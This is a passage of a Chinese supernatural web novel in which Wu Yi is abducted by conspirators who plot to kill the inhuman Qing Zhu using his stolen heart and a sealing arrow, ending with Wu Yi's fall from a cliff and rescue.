里间一共有两张病床,空缘占了一张,李青泉原本准备自己在椅子上将就一晚,但乌宜却坐在椅子上烤火,并不愿意离开。 “我不困,你去睡吧。” 李青泉担心他还在为师傅说的话不高兴,正想哄哄他,却看见乌宜低着头掏出手机插上电,然后开始给置顶的聊天框发消息。 屋子里灯很暗,他没有刻意看,但还是瞥见了对面主动发来的消息和图片。 乌宜微微抿着唇角,似乎是在压着笑,可是眼眸却不自觉弯起,在小太阳面前烤着热,似乎一点也不觉得辛苦。 看着眼前的一幕,李青泉什么也说不出来,只好坐在床上,等着晚点再去换他回来。 夜色渐深,外面的雨逐渐小了,乌宜看了看手机那边的消息,卿烛回复的很慢,似乎是没什么信号。 他刚才和卿烛说了和李青泉出来的事情,想了想还是决定将自己发现的不对劲告诉卿烛,对面许久没有回复,他便又忍不住补充。 【雨停了,我想走】 那边很久没了回应,他心中不免焦急,同时涌上了难言的担忧,忍不住朝着床的方向看了看,徒弟两人都睡着了,屋子里有轻微的鼾声。 盯着熟睡的李青泉看了很久,乌宜还是收回目光站起身。 外面没有人,医生在另外一个单独的小房间里休息,门口亮着灯,以便晚上忽然出事要坐诊。 木门很旧,开合间发出细微的声音,惹得乌宜心惊胆战,但他不敢停留,拿上自己的东西便急匆匆跑了出去,直到远离医馆,身体才稍稍放松下来。 手机的手电筒照明区域有限,几乎看不清太远的位置,乡村的路灯很早就暗了,山上传来窸窣声响,在这一望无际的深山中总让人感到害怕。 手机没什么信号,但莫名的,即便是走在冰冷无人的乡间小路上,都比在那个温暖狭窄的医馆里更让他感到安心。 循着记忆中的方向走了一个小时,天边逐渐升起鱼肚白,他抬起头长长吐出一口气,看见了飘在空中的白雾。 得亏这是南方,虽然周围还是很冷,但随着走动身上的体温也在升高,并不让他有太强烈的僵硬感。 走了不知多久,终于有车从远处驶来,是一辆载着人的老式摩托车,声音很大。 乌宜眼睛一亮,连忙伸手去拦,可对方却是带着老婆孩子从镇医院回家的,他看着小孩昏昏欲睡挤在两人中间,只好放弃了。 看着车开走,直至声音消失,乌宜叹了口气,顺着那人指引的方向继续走。 听说再往前走个二十分钟就能到镇上,然后有去城区的大巴车,早上八点就会开车,他要是走得快,还能去吃个早餐再上车。 走了不知多久,前方终于出现了较为密集的房屋,抵达主街,两侧的早餐店已经热起了锅,乌宜买了两个油乎乎的烧饼和一杯豆浆,在屋子里暖了一会儿,吃完看了看时间,又给手机充了电,将定位发给了傅流晔,看着时间差不多,才出发去找附近的车站。 周围人倒是多,但基本上了年纪,显得乌宜像是个异类,他抿抿嘴唇戴上帽子,顺着早餐店老板的指引进了一条小路,准备横穿到车站去。 周围空无一人,远处传来公鸡打鸣的声响,他的手机叮叮咚咚,总算有了信号。 从口袋里掏出手机,他还没看清楚消息是谁发来的,身后便传来了突兀的脚步声,不同于他来到这里以后听见熟悉的匆忙,反而显得很是沉稳缓慢。 心中无端升起不安,他下意识回头,在瞥见熟悉的衣角后便想也不想转回去,拔腿就跑。 身后的脚步声也逐渐变得急促起来,那人紧紧跟在他的身后,乌宜气喘吁吁,心跳快到窒息,他几乎感觉身后的人下一秒就要捉住自己。 眼前出现了大路的车站,他的眼睛骤然一辆,奔下山坡正要赶去,面前却忽然横着停下一辆车。 正欲绕过,车门忽然打开,却没有人下来,身后追来的人骤然捉住他的手臂,砰的一声将他扣在了车身上。 乌宜呼吸急促,转头看去,目光触及白发苍苍的老人,空缘追了他这么久,却是面不红气不喘,看上去完全不像这个年纪的老人。 “你……” “上车吧。”空缘语气淡淡,“消息也不用看了,那傻小子应该是才醒来,我会转告他去向。” 乌宜还想要挣扎,车内却有人探身出来。 “你不想见卿先生吗?” 是封赐,封天骄的小儿子。 乌宜瞳孔骤缩,领会到了他威胁中的含义,下意识说:“卿烛在哪里?” “你上车,我带你去见他。” 乌宜心中顿时有了不好的预感,可他并不相信这些人能奈何的了卿烛。 后面停下一辆车,几个不好惹的保镖下来,乌宜心里一凉,知道自己没办法,只好挣开空缘,自己俯身钻进了车里。 封赐紧随其后,空缘坐在副驾驶,一行人很快驶离了镇上。 乌宜转头看向车窗外,还是忍不住问:“我们要去哪里?” “当然是去和卿先生他们会和了。”封赐语气含笑。 乌宜自然不会相信:“你们是有异心吧。” 说完,他看向坐在前面的空缘,越想越生气,“李青泉那么在乎你,你为什么要跟这些人沆瀣一气,难道被你带大的徒弟你都舍得坑害吗?” 空缘还未开口,封赐便轻笑道:“小宜,你有所不知。” “你别叫我小宜!” 封赐意犹未尽地笑笑,只好说:“空缘大师对他的徒弟也是关怀备至啊,况且这次如果你好好配合,也不会遭那么多罪,我们都知道你的脾气,谁知道你会偷偷溜走呢,原本应该是我们从医馆把你接走才对。” 乌宜根本不想和他们多废话,摸了摸口袋里的手机,不知道能不能给傅流晔报信,本来他让傅流晔在城区车站找人接自己的,谁知道还没到就…… “有些事情,还是得有人亲自跟你谈,你才能知道怎么去权衡。”封赐还要说什么,车内却响起了一阵急促的手机铃声。 他摸出手机接起,语气很快变得毕恭毕敬,惹得乌宜看过去,既烦躁又好奇。 “是,我知道了,我们马上就到。” 乌宜不解:“我们不去城区吗?” “我们要去的地方就在这几座山后面,等到了你就清楚。” 封赐没有拿走他的手机,却在每一次他的手放进口袋时,都会回头看他一眼,像是警告。 乌宜不想手机被收走,便只能维持着这个姿势,直到手机的屏幕都被掌心的水雾蒸腾到微微发滑。 不过多时,车停在了一处无人的野山下。 乌宜不情不愿跟着他们下去,却见不远处已经有人在等待,那是两个年纪不大的青年,一男一女。 “给你介绍介绍,这位就是谢老先生的孙子和孙女,谢知意和谢盈。”封赐说。 面前两人的长相都极其陌生,男的面露微笑,女的没什么表情,乌宜微蹙眉头:“他们是谁?” “卿先生没有和你说吗?”封赐露出了‘果然如此’的表情,“谢老先生就是你们先前说的大东,他已经去世了。 乌宜淡淡道:“所以呢?” 他不明白封赐将自己带到这里来见两人,究竟是出于什么目的。 “我们两家已经达成了合作,现在来问问你的意见。”谢知意先一步开口,“如果你愿意的话,我们可以一起,那个怪物对你做了什么,从你身上夺走了什么,我们都可以帮你抢回来。” 乌宜面色微愠,“你们在开什么玩笑?对付卿烛?” 这些人有十条命都不够送的吧。 “看来这位小朋友对我们很不放心呢。”封赐笑道,“我们已经掌握了卿烛的弱点,现在只需要你帮忙,就可以让他死无葬身之地。” 乌宜怔住,看着面前两人的笑容,几乎感到不寒而栗。 弱点?卿烛能有什么弱点。 正觉得讽刺,电光火石间,脑海中却闪过了一样东西。 心脏,卿烛的心脏。 难不成……在他们手里? 垂在身侧的拳头微微攥紧,他半晌才问:“你们就是单纯不愿意把他之前寄存的东西还给他,才要这样做吗?” “不然呢?”封赐冷笑,“我们家靠着那样东西才坐到了现在的地位,说好的两百年,眨眼就要变,做人能这样不守信吗?” 谢知意也懒散地点点头,“我可不想等我接手家业的时候,家族只是个空壳。” 他话音落下,一旁的谢盈冷冷瞥了他一眼,不做声,显然也是赞同他的话。 乌宜只觉得讽刺。 “那个怪物让你成为他的佣人,是不是也对你做了不少事情?”封赐目光由上至下打量他,“还是说,你心甘情愿跟着他的?” 乌宜斟酌片刻,只回答:“他救了我的命。” “他救的人多了去了,我父亲的命也是他救的,可这不是他应该做的吗?他本来就有这个能力,救几个人对他来说就是动动手指的事,也就只有傻子才会把这当做天大的恩情。” “那可不是,该还的,我爷爷都已经还清了,我是问心无愧的。” 乌宜只觉得恶心,半天吐出一口气,问:“那你们想让我做什么?” “杀了他。” “……”乌宜简直想翻白眼,“你们觉得我有这个能力吗?” “这件事只有你能做到,我们观察过,他在你面前心情很放松,或许是因为你看起来比较无害。”封赐意味不明地笑了笑,“空缘大师会协助你,只要将他杀了,我们以后都是自由人,我保你一辈子衣食无忧,日子过得比现在还好。” 不会更好了…… 乌宜对这一点心知肚明,但还是想要套出他们手上的东西,便问:“那我要怎么做?你们如果研究过他,就应该知道,正常的东西对他的攻击都是无效的。” 封赐道:“空缘大师这些日子已经准备好了东西,等到了地方,我们会给你。” 乌宜看了眼周围的几人,知道自己是跑不掉了,索性便点了头:“行,我们现在去吗?” 反正等他见了卿烛,这些人也就是死。 “你决定好了,我们就上山。” “上山?” “他们就在另一边。”封赐说着,露出了一个略带期待的笑容。 乌宜看着他与谢知意对视,背后汗毛炸起,只觉得脚底发凉- “就是这里,近东的亲儿子叫谢元竞,听说他身体不太好,这些年都在乡下养病,没想到地方这么偏僻。” 封天骄拄着拐杖走在泥泞的土路上,前面的卿烛脚步平缓,似乎对周围的一切都不感兴趣。 “还有多远?” 封天骄加快脚步追上去,“应该在半山腰,如果不是因为他将东西埋起,我们都找不到的话,也不用劳烦您跑这么一趟了。” 卿烛一言不发,走在前面,可不多时,身后便传来了惊呼声。 他冷冷转头,便见封天骄跌在地上,面上表情略微狰狞,正有人扶他起来。 “先生,人老了就是不中用。”封天骄苦笑了一下。 卿烛看着他被扶起,还是说:“你下山吧。” “这怎么行,我得带着您上去。” 卿烛瞥了眼他身后几个年轻的保镖,“他们知道方位,你不用跟着。” 封天骄正迟疑着,卿烛已经转身离开,等人走远了,他骤然松口气,忙招呼着身边的人扶着自己下山。 山腰坐落着一幢漂亮的木屋,平坦的前院伫着栅栏,种满了花草和各色菜苗,是个与世隔绝的养身圣地。 “先生,就是这里。” 卿烛靠近屋子,嗅到一股陈旧腐朽的气息,有人等待多时,推开门走出,面上尽是惊喜。 “您终于来了。” 那人一手拄着拐,看上去要比封天骄更加苍老。 卿烛收回目光,言简意赅:“东西在哪?” “我父亲先前说过,就种在山那侧的位置,但具体的……我也实在是记不清,那时我年纪还太小了。” 谢元竞眨眼的时间,那道身影已经消失在了视线中,他脸色微变,和身边的人交换了眼神,快步跟了上去。 刚抵达那片地方,他们忽然感觉到脚下的大地震动,惊慌抬起头,顿时目眦欲裂。 漫天的泥土飞散,地面一瞬间像是被磨平了一丈,出现了巨大的凹坑。 “这……” 那高大的身影伫立在不远处,黑雾却阵阵从他身上窜出,几乎遮盖住了这片天空。 那黑雾仿佛化作某种探照的仪器,一寸寸下移,最后尽数收回。 谢元竞颤颤巍巍正要开口,一股黑雾却猛地砸向他。 “谢先生!” 谢元竞狼狈地被击退数米,身体狠狠撞击在树干上,噗嗤一声吐出口鲜血,喉口泛着剧烈的疼痛和腥甜。 他不可置信地看向不远处神色冰冷的卿烛,身体出于恐惧,本能地颤抖。 “你、你做什么?” “你不是谢元竞。”卿烛声音冷漠,已然没了耐心。 ‘谢元竞’脸色骤变,还未来得及开口,身体又被黑雾击中,整个人瞬间昏了过去。 卿烛正欲转身离开,身体却猛然一滞,面上神情未变,却惹得周围人如临大敌,甚至有人下意识后退半步,双腿都颤抖起来。 左胸口空荡荡的位置窜出剧痛,让卿烛眼底闪过一丝空茫- “他不会真心跟我们合作。” 乌宜走在前面,听见身后的空缘正在和封赐说话。 “没事,我们这么多人,还能看不住一个小孩吗?更何况……我们手里还有重要的东西。” 乌宜微微顿住脚步,下意识想要回头。 “我劝你别跟他们硬碰硬。”身边传来一道冰冷的女声,是谢盈。 她不冷不热瞥了乌宜一眼,淡道:“他们一切都准备妥当了,你要是不顺从,也不过是多条人命。” 乌宜不可置信地看着他,“杀人犯法。” “你以为这些保镖都是普通人?封家干的可不是什么正经事,这些人谁手上没沾上一两条人命。”谢盈古怪地看着他,“你未免也太单纯了吧,都到这种程度了,还是这么一副呆呆的样子。” 乌宜:“……” 这种情况下,他懒得否认。 但他觉得谢盈看起来并不像坏人,忍不住试探:“你看起来并不情愿,又为什么要跟着来?” “都是一家人,我不来,他们不会放过我。”谢盈扫了一眼四周,“但你如果能找到机会逃跑,我不会阻止你,总之最终的目标也不是你。” 虽说多他一个不多,但如果能不杀人,他们肯定是偏向大事化小。 卿烛说破天了,也不是个真实的人,即便是忽然间消失了,也没有人会找寻他的踪迹。 乌宜看了看她,犹豫良久,还是没办法辨别话语的真假,但他记得山上时谢知意对谢盈的态度很是不屑,两人之间的关系似乎并不好。 “我不能就这样走。” 谢盈狐疑地看着他,“难不成你还想阻止他们?” “我想知道他们说的那个东西在哪里。”乌宜还是说出口。 他分不清楚谢盈究竟是好还是坏,可这样的情形已经不容他多想,如果他们真的找到了卿烛的心脏,那事情就很不好办了。 谢盈无奈,带着想让他死心的语气叹道:“你觉得能在谁的身上呢?这里能指望的,也就那么一个了吧。” 乌宜心底一动,下意识朝着空缘看去。 对方安静走在后面,已经不在和封赐说话,皱纹遍布的脸耷拉,跟着白花花的胡须往下坠,看不出分毫李青泉先前形容慈眉善目的模样。 东西是在他的身上。 乌宜心底一动,大致明白了他们的计划。 心脏对于卿烛而言虽然重要,却并不足以知名,他们大约是想要在空缘对卿烛下手时,利用心脏受损这短暂的空挡逼得他露出弱点。 乌宜见过卿烛虚弱时期的模样,连他都要认不得,理智全无。 空缘真的有这么大的本事吗?这是他最大的疑问。 即便李青泉将空缘大师说得那样厉害,他还是想象不到,面前这个老人明明看起来和普通老爷子没有区别。 而且……卿烛真的会死吗? 第55章 上山途中, 乌宜注意到他们似乎在往地上撒什么东西,可他被人簇拥着走在最前面,没有机会停下查看。 谢盈似乎意识到方才和他说的太多, 此时已经走到了距离他很远的地方。 不多时,一行人停下修整,乌宜走到了偏僻的位置,身边依旧跟着两个人,他低头摸了摸手机, 手腕就被捉住了。 “这边没信号,你看了也没用,我猜卿先生现在也没心思看这些消息。”封赐脸上挂着礼貌笑容。 乌宜微微一怔, 从他们的话语中领会到了什么, “到现在,你们还不准备把计划跟我说吗?” “我倒是想, 可空缘大师说你和他的关系与众不同,倒是让我不敢信了。”封赐的目光逐渐变得玩味, 从他身上巡视而下,“你们之间,有什么?” 乌宜觉得好笑:“能有什么, 你没问过封天骄吗?” “否则你为什么对他死心塌地呢?” “封天骄几十年前不也这样吗?” “你倒是会说。”封赐笑笑, 最后还是没和他多言,“等到了山顶你就知道了。” 继续启程, 乌宜的余光始终落在空缘的身上。 不能再这样继续下去,至少在见到卿烛之前,他得将空缘身上的东西弄清楚,如果真的是对卿烛至关重要的东西,他得先下手才行。 越到上面, 人就变得越少,封赐和谢知意的状态肉眼可见地变得烦躁起来,就连乌宜也感受到了一种莫名的燥热,让他本就藏着事的心愈发无法平静安定。 “空缘大师,这东西怎么对我们影响都这么大?一会儿还怎么实施计划啊。”谢知意擦了擦头上的汗。 走在后面的空缘淡淡道:“连普通人都感受不到,又怎么能影响到他。” 谢知意还想说什么,封赐便打断道:“行了,也就一会儿的事,也不知道他们那边怎么样了。” 乌宜的目光落在他们往地上撒的那些东西上,乘人不备随手拾起一片攥在手心里,起身时空缘对上视线,便冷冷瞥开。 即将抵达山顶时,众人的状态已经很差了,乌宜的呼吸有些急促,长长舒出一口气,抬头看见不远处的岔路。 “还有别的路吗?这看着太危险了。” 封赐也是个惜命的,看见边上是悬崖峭壁,脸色微微苍白。 空缘说:“没有,这里上去不远,就能看见山那头的情况了。” 封赐没了办法,先喊几个人上去探路,然后将谢盈和谢知意送上去,转头正要再去找乌宜,却听见下面传出了惊慌的声音。 “他、他好像跑了!” 封赐脸色骤变:“还不快把他抓回来!你们干什么吃的?这么多人居然连一个小孩都看不住!” 众人齐齐往下找寻,还未上去的空缘思忖片刻,也跟了出去。 “我去看看。” 封赐知道他是有些本事的,便派了些人跟着他。 山林间急促的奔跑带动长到小腿的野草,乌宜一刻也不敢停歇,心脏因为过分的压力几乎要炸开,可身后的脚步声逐渐逼近,让他不禁感到头皮发麻。 无论他跑到哪里,那声音如影随形,宛若鬼魅般久久跟随,始终无法摆脱。 这到底是什么鬼东西! 脚下不知出现了什么,他被重重绊倒,手撑在湿软的泥土上,火辣辣的疼。 一双沾满泥土的布鞋出现在他的视线中,乌宜循着那双腿缓缓抬头,看见了空缘面无表情的脸。 “明明知道跑不掉,还浪费什么时间?” 他说着,俯身正要来拉乌宜,在听见一道突兀声响时忽然怔住了。 “师傅。” 乌宜身体一震,还未回头,便听见急匆匆的脚步赶来,有人挡在了他的面前。 李青泉浑身是泥,气息未平,“乌宜,你先起来。” 乌宜怔愣一秒,站起来拍了拍手上的泥土,蹭不掉,反而随着涂抹开显得更脏了。 李青泉立在他面前,让他看不清楚表情,只能听见师徒两人说话的声音。 “师傅,你为什么要这样做?” 空缘定定地立在原地,说:“你想不通,是因为还没到我这个年纪。” 乌宜低下头,看见李青泉的拳头用力攥紧,就连指背都微微发白,他说:“您怎么能连我都瞒着?” “我也没想过,我一手带大的徒弟居然会不站在我这边。”空缘冷道,“你不在意带你长大的师傅的命,偏向一个认识不足几月的小孩,那我们之间也没什么好说的了。” “师傅,所以你这是铁了心。” 空缘淡道:“你还年轻,自然不懂我们这些半只脚踏进棺材的老人心里怎么想。” 话已至此,李青泉还有什么不明白。 “乌宜,我和傅总他们一起来的,刚才山上路上分开寻找走散了,你再往下走肯定能遇见。” 乌宜心底一震,没想到他会这么说。 “那你呢?” 李青泉没有回头,可原本高昂的头颅却微微垂下些许,让他看出了几分落寞,“我知道你为什么会走,因为你觉得我不可信是吗?” 乌宜想要解释什么,可是李青泉却没有给他机会,“我知道,我一直和你提起我师傅,导致你觉得我肯定是那种认亲不认理的人,可是……就像你说的那样,我们也是朋友啊。” “我不是这样想的。”乌宜想要说些什么,可抬起头看见空缘朝着他们走来,又意识到此时并不是说话的好机会,便道,“我还不能走,我有其他的事情需要弄清楚。” “什么?” 李青泉本就是来救他的,听见这话还有些摸不清头脑,可下一瞬就被师傅捉住了手臂,那时他很熟悉的招式,他师傅最擅长的便是拿捏穴位,手臂上一捏,便能让人顿时麻木了半条胳膊。 他下意识闪躲,同老人扭打在一起,起初他还收着力,可空缘却没有丝毫的留情,手肘重重曲起击向他的太阳穴,顿时让他眼前冒出星光,久久无法视物。 耳边炸开尖锐的警铃,似乎死过了一回,再度睁开眼,他死死抱住师傅的腿,吼道:“快跑!” 可乌宜立在原地非但没有跑,还朝着空缘的方向靠近了一步。 “你还不走,真想把事情弄个明白,也得有这个本事才行。”空缘话落,便见少年猛然甩出一条翠绿的枝叶。 “苗苗!” 乌宜将东西投掷而出,苗苗便抽长枝叶猛然朝着空缘的方向延展蔓延,骤然束缚住了空缘的双腿。 小花盆掉在地上,乌宜俯身捡起,看着苗苗的另一端骤然跃向高高翘起的树枝,企图将空缘倒吊起来。 “非人之物。”空缘神色一凝滞,咬破了手指,涂抹在符纸上,随着落下,瞬间灼烧了腿上的藤蔓。 苗苗的枝叶骤然往下落,乌宜上前接住它,却并没有再向空缘发起攻击,而是转身朝着反方向跑去。 “走!” 李青泉踉跄着从地上爬起来,还没搞清楚情况,就看见师傅脸色骤变,摸了摸腰间,然后冷着脸追上去。 乌宜一刻也不敢停歇,正欲朝着山下跑去,树丛中便猛然出现几道身影,将他的去路遮挡住。 脚步顿住,他下意识收紧了手心的东西。 封赐再次出现在他面前,却没了平时闲散放松的笑,“小朋友,你拿错了,东西在我这呢。” 他话音落下,身侧的人碰上一只木盒,打开,浓重的雾气汹涌溢出,乌宜脸色骤变。 封赐伸进手去,狠狠攥住那东西,面上的笑容愈发狰狞,“你再跑,我现在就把它毁了。” 猛然间,大脑窜出一阵剧烈的疼痛,乌宜咬紧牙关,几乎有些站不住。 他能够感觉到,这种疼痛并不来自于自己本身,而是属于某个与他紧密相连的存在…… 不用再想,他已经能确定这东西的确来自于卿烛了。 见他脸色苍白,封赐还以为他是知道害怕了,微抬下颚示意,两侧便有人上前,一左一右锁住了乌宜的肩膀。 “想活命就乖乖跟着我们,否则我一个不好,把这东西捏碎了或者弄死了,那个怪物发了狂,我可是会把你推在第一个送死的位置。” “放开我!” 李青泉被人扣着送了上来,乌宜惊慌失措,有些明白过来他们要做什么。 “你毁掉这个东西,他也不会死的。” “是吗?可我怎么听说,只要心脏受到损伤,他就会失控发狂。”封赐笑嘻嘻看向乌宜,“看来你在他身边这么久,对他的事情也是一无所知呢,是被他那副似人的样子蛊惑了吗?唔……他的人皮确实长得蛮好看,你们小年轻都是颜控嘛。” 他说着,目光在乌宜和李青泉的身上来回巡视。 李青泉向来直言直语,“发狂怎么了?你捏人家的心脏,还不让人家生气了。” 封赐哈哈大笑:“你们是装的还是真不知道,这位受你们追捧的怪物当年沉睡的真实原因,你们半点都不清楚?” “你什么意思?”乌宜并不想听他废话。 他当然知道卿烛当年为什么沉睡,这件事卿烛早就和他说过了。 “我曾经说过,掌控不了自己能力的存在才最可怖,他就是这种废物。”空缘已经将自己浑身的狼狈收拾好,缓缓踱步上前,“我曾读过封先生的记忆,当年那怪物因身体受损失去控制,一夜之间屠灭了方圆十里内的五个村庄。” 乌宜怔住,下意识道:“不可能。” “没什么不可能的,怪物就是怪物,你这种反应恰恰证明了他也不敢直面自己的错误。”空缘笑了笑,似乎觉得很有趣。 李青泉的脸色也一阵青一阵白,他忍不住挣扎,可却被两侧的人遏制更死。 “否则你以为他为什么忽然要沉睡这么多年,除了不敢直面自己造成的伤害以外,他的魂魄也在那夜后遭受了不小的损伤,所以你觉得现在……他还会不忌惮我们手中的东西吗?” 乌宜大脑一片混乱,他在心底本能地否定两人说的话,可另一面,脑海中又浮现出当初卿烛与他夜谈时,罕见惆怅的神情。 他当初问过卿烛,最害怕的事情是什么,对方的回答是失控。 如果这件事情是真的……那一切就有原因了。 可是他不相信卿烛会这样做,即便在他们相见的最初,卿烛的确对‘生命’表现出了漠然,可乌宜从来没觉得他是什么冷心冷血的人。 恰恰相反,卿烛只是不善言辞,他很少做出表现出情绪的举动,可在面对他和旁人的求援时,又从不吝啬付出。 这样的卿烛,绝不可能是他们说的那样。 李青泉也是这样想的,可他此时连挣扎的力气都没有,只能将最后的目光投向空缘。 “师傅……” 他的眼神中满是恳求,可空缘却没了平日对他的宽容与慈爱,甚至显得很是冷漠。 “这小子既然来了,就一起带上山吧,免得惹是生非。” 封赐看了看他,意味深长地笑了,“死人的嘴最严,我看还不如把他杀了埋在这,深山老林的也没人知道。” “你是生怕后面来的人发现不了我们的踪迹吗?还要特意留下人给他们指路。”空缘冷冷瞥了他一眼,“封先生那边估计已经准备好了,时间要是耽误,你负不起责任。” “空缘大师,您是真的担心我们的进度,还是单纯舍不得你的小徒弟啊。” 封赐语气含笑,目光却如同寒冰般凛冽。 空缘也致以他同样的冷漠,“等到了山顶,你爱怎么杀怎么杀,别耽误了我的事。” 乌宜缓慢抬起头,看见李青泉不可置信地瞪着空缘,可对方却始终没有朝着他的方向看过来。 两人对峙几秒,最终还是封赐露出个笑。 “行,那我们快走吧,谢家人还在前面等我们。” 一行人再次回到了原本的路上,只是这一次乌宜被一群人围在中间,再没了离开的机会,他从口袋里摸出方才苗苗从空缘怀中摸走的东西,却发现只是个小小的盒子。 周围人没有阻止他的动作,他打开,发现是切割成小块的须须,看起来像是人参。 “还给我。”身后传来声音。 乌宜微怔,转头看见了空缘冷漠的脸,忽然间猜到了什么,想也不想便问:“你是不是要死了?” “……” 这个问题显然很唐突,但空缘只是凝神看了他两秒,伸手将盒子取走,“你倒是也不笨。” “否则我想不到你为什么要跟他们合作。” 自从山上来,乌宜被骗了太多次,他相信过谢盈,也曾将希望寄托在空缘的身上,现在发现谁都靠不住,方才空缘所说的一切都还在他的脑海中回旋,让那个他的心情变得尤其复杂。 李青泉被人带着走在最后面,他们没有交谈的机会,他心乱如麻,便只能和空缘搭话。 “所以等到了山顶,你是真的要杀了李青泉吗?” 这段路有些陡峭,空缘的气息有些紊乱,显然已经累了。 他没有回答这个问题,而是转而问他:“见了面,你会真的杀了那个怪物吗?” 乌宜光是听见这句话,就感觉手脚冰凉,下意识收拢手掌,将冰冷的指尖圈在掌心里。 他不会。 所以空缘会吗? 李青泉出生被遗弃,空缘在山下捡到他,看出有灵根便捡回去收做了徒弟,其实他们之间的羁绊并不比自己和卿烛之间少。 李青泉对空缘,正如他对卿烛。 可空缘对李青泉,会像卿烛对他吗? “……” 终于抵达山顶,几人站在陡峭的岩石之上,看清楚下面的景象后,表情都变得凝重起来。 “人呢?都去哪了?” 乌宜有些恐高,站在边缘只觉得双腿发软,可出于好奇,他还是扶着保镖的手臂探身望出去。 凛冽的狂风掠起脸颊边上的发丝,他看见大片茂密的丛林之中,有着一片世外桃源般的院子和菜地,可此时那里已经被夷为平地,地上面巨大的凹坑证实着方才爆发过一阵打斗。 “他们该不会……”谢知意倒吸一口气。 封赐身体微微颤抖,“我们来晚了吗?” “还在山上。”空缘言罢,缓缓站起身来,手中不知何时持起一支金色的圆盘,他将其递到封赐的面前,“滴血。” 封赐抽出匕首,毫不犹豫割破手掌,鲜血汩汩涌出,蜿蜒浸入深陷的凹纹之中。 “够了。” 空缘言罢,又示意乌宜。 乌宜下意识将手背在身后,小脸绷紧,“干什么?” “借用一点你的血。” 空缘话音刚落,身后的两人便上前捉住乌宜的手,乌宜奋力挣扎,却还是被捉着手腕扯了过去。 指尖一疼,鲜红的血珠宛若红宝石般坠下,滴入圆盘之中。 乌宜脸色微白,紧紧咬着牙。 “够了。” 空缘露出笑意,猛然将圆盘掷与空中。 众人齐齐仰头,见那圆盘奇迹般悬在头顶,逐渐散发出金黄的光芒。 而与此同时,山峰各处蔓延起同样的光泽,几乎练成一片,同顶光汇聚在一起,映照大地。 地面轰然震动,乌宜险些没站稳。 “山已经封了,现在下手。”空缘缓了口气。 乌宜注意到他的容貌正以肉眼可见的速度变得苍老,原本花白的头发此时在日光下枯燥无光,面上的纹路也深了不少。 空缘并未在意他的目光,从口袋中掏出了那个小盒子,取出两根小小的须塞进嘴里含着,苍白的面容上才终于有了些光泽。 “将这东西刺入他的身体,再将他封印与圆盘之中。” 封赐接过了那支纯黑色的长箭,触手泛起薄薄黑雾,手止不住地激动起来。 “空缘大师,看来我父亲真没看错你。” 看见那东西的瞬间,乌宜顿感头皮发凉,他感受到了熟悉的力量,来自于卿烛,可又透着一股陌生感。 熟悉的身影出现在下方,乌宜心脏一跳,下意思往外探出身体,可却被身后的人拽了回去。 “不要命了!” 封赐紧紧扼住他的手,随着激动呼吸急促,小心翼翼探出头去。 从见到卿烛以后,乌宜的心跳就不受自己控制了,他一路上心情都紧迫而慌乱,可直到现在,才终于有了平时存在的情绪。 “等封先生的安排。”谢知意也不再像方才那样张狂,小心翼翼地趴在岩石之上。 乌宜止不住地颤抖,看见那黑雾弥漫,而不远处踉踉跄跄出现一道身影,跌着跪在地上,声泪俱下说着些什么。 距离太远,他们听不清楚,只能感受到周围人的情绪都很紧张。 “他万一对我父亲动手怎么办?”封赐有些着急。 空缘淡道:“他当初杀了这么多人,再造杀孽必然会承受反噬,除非万不得已,否则他不会这么做的。” “反噬?”乌宜不解。 空缘瞥了他一眼,竟然也乐于解释:“即便他实力再强,也一定受制于某样东西,人有命,妖祟自然也会有,你在他身边这么久,没发现他整日都承受着剧痛反噬?即使他并不是人,这些伤害也足以让他感到痛苦了,如果再增添几倍,他大概又要做缩头乌龟,把自己封印起来了,只是这次……还有谁会死心塌地等他几十年呢?” “……” 乌宜下意识看向了封赐身侧的木盒,心中有了个决定。 似乎是觉得这里足够危险,周围的人已经没再束缚着他,都望着下方的动静,严阵以待。 乌宜认认真真看过下方的高度,仍旧感到腿软,可目光触及那黑雾蔓延的身影,那种恐惧感却似乎被某种难以言说的情绪所盖过。 他想,自己还是不相信空缘他们所说的话。 下方的人逐渐贴近,封赐看见自己父亲被掐着脖颈,整个人瞬间紧张起来。 “到底要等到什么时候?” “再等等。” 封赐没了耐心:“难道要等我父亲——” 他话还未落,眼前忽然闪过黑影,察觉到乌宜是要抢木盒,猛地扑上前。 乌宜不顾形象地捧住木盒,身体骤然转向陡峭的悬崖,半个身体弹出,几乎下一瞬就要栽落下去。 “拦住他!” 眼见着重要的东西就要被夺走,封赐目眦欲裂,一时间也再顾不上害怕与恐惧,死死卡住那木盒,伸手将乌宜向后推去。 失重的身体如同短线的风筝般急速坠落下去,李青泉看见这一幕,瞬间停滞住了呼吸。 “乌宜!” 山下的黑影骤然抬起头。 封赐恐惧地看着自己的手,惊魂未定间,却被谢知意猛然揪住衣领。 “封赐,你的箭呢!” 他瞳孔巨震,下意识摸向身侧,却发觉仓皇间被他丢下的长箭不知何时已经消失不见。《 》 55-59 第56章 熟悉的声音在山谷中回荡, 半山腰其实听不真切,可卿烛一时心悸,却还是下意识抬起头。 黑黑的小点从山顶坠落, 急速砸向地底,距离他越来越近。 一时间,眩晕躁动的大脑中那些纷杂的声音仿佛变得不再重要,他随手一掷,将封天骄丢在地上, 身体化作浓重的黑雾朝着那方向骤然飞去。 乌宜抱着那弥漫熟悉力量的长箭,急速的失重感让他几乎无法想更多的事情,在这样濒死的情况下, 他的脑海中似乎只有一个名字。 没有这个东西, 他们应该没办法伤害到卿烛了吧。 高速坠落的身体骤然被一阵风席卷,不等他回神, 一双修长结实的手臂环住他的后背和膝弯,严严实实将他护在怀中。 在凛冽的狂风中, 乌宜艰难睁开眼,看见了一双冰冷殷红的眼眸。 卿烛浑身散发着肃杀的戾气,此时却只是垂下眼睫, 带着他稳稳落地。 倘若是平时, 乌宜见了他这副模样肯定不敢上前,可在劫后余生的情况下, 却再也顾不上其他,猛地扑上去抱住他。 “卿卿!” 卿烛一言不发,只大力收拢抱着他的手臂,力度大到几乎让他骨骼隐隐作痛,可这种因大力拥抱带来的轻微窒息感, 却让他短暂地恢复了理智。 “这个,是他们要用来对付你的东西。” 卿烛连看都没看,那长箭便骤然化作黑烟,消散在空气之中。 乌宜心上一松,忙抬起手指向那方位,却见那处已经没了人。 “他们刚才就在上面看着你,除了封天骄的儿子,还有那个大东的后代。”他说到这顿了一下,“李青泉也在,他师傅帮助那些人对付你。” 卿烛嗯了声,目光落在他擦伤的掌心,眉心微蹙,黑烟散过,那伤痕便消失的无影无踪。 “你先下山。” 乌宜还是很紧张,“他们有你的心脏,我刚才本来想抢过来的,但是没抢成。” 